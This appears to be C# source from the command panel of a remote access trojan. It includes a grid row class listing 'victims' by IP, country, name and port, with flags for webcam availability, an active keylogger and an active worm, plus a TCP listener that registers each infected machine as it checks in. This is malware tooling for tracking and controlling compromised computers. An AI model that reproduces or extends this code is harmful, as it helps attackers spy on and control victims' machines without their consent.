public row(victim v , byte color) : base(color) { this.v = v; PictureBox b = new PictureBox(); b.Image = new Bitmap(tools.getCountryFlag(internet.countryCode(v.getIp()))); // load the image inilabel(ipadd,v.getIp()); inilabel(portl, ""+v.getPort()); inilabel(note, "click here"); inilabel(active, "" + v.getDate()); inilabel(namel, v.getName()); switch (v.getCam()){ case 1 : inilabel(caml,"Available") ; break ; default : inilabel(caml,"none") ; break; } switch (v.getKey()){ case 1 : inilabel(log,"Active") ; break ; default : inilabel(log,"Inactive") ; break; } switch (v.getWorm()){ case 1 : inilabel(worml,"Active") ; break ; default : inilabel(worml,"Inactive") ; break; } // fill the row CheckBox cb = new CheckBox(); cb.CheckedChanged += checkChanged; this.Controls.Add(cb); this.Controls.Add(b); this.Controls.Add(ipadd); // ip adress this.Controls.Add(portl); this.Controls.Add(namel); this.Controls.Add(note); this.Controls.Add(caml); this.Controls.Add(log); this.Controls.Add(worml); this.Controls.Add(active); this.ContextMenuStrip = Mainwin.cms; }
public void addRow(victim v) { this.RowCount++ ; this.numClient++; this.Controls.Add(new row(v,(byte)(this.RowCount % 2)),0,0); }
/// <summary> /// handle accepted sokets /// </summary> /// <param name="ar"></param> protected void AcceptClient(IAsyncResult ar) { if (myList != null) { try { System.Net.Sockets.Socket s = ((TcpListener)ar.AsyncState).EndAcceptSocket(ar); byte[] b = new byte[500]; s.Receive(b); String date = DateTime.Now.ToString("HH:mm dd/MM"); byte[] btemp = new byte[497]; Array.Copy(b, 3, btemp, 0, 497); UTF8Encoding asen = new UTF8Encoding(); String data = asen.GetString(btemp).TrimEnd('\0'); String[] datas = data.Split('\n'); String processid = datas[0]; String name = datas[1]; victim v = new victim(name, processid, s, b[0], b[1], b[2], date); updateThis funk = () => { grid1.addRow(v); clientl.Text = grid1.numClient + ""; }; this.Invoke(funk); if (listen) ((TcpListener)ar.AsyncState).BeginAcceptSocket(this.AcceptClient, ((TcpListener)ar.AsyncState)); } catch (ObjectDisposedException) { } } }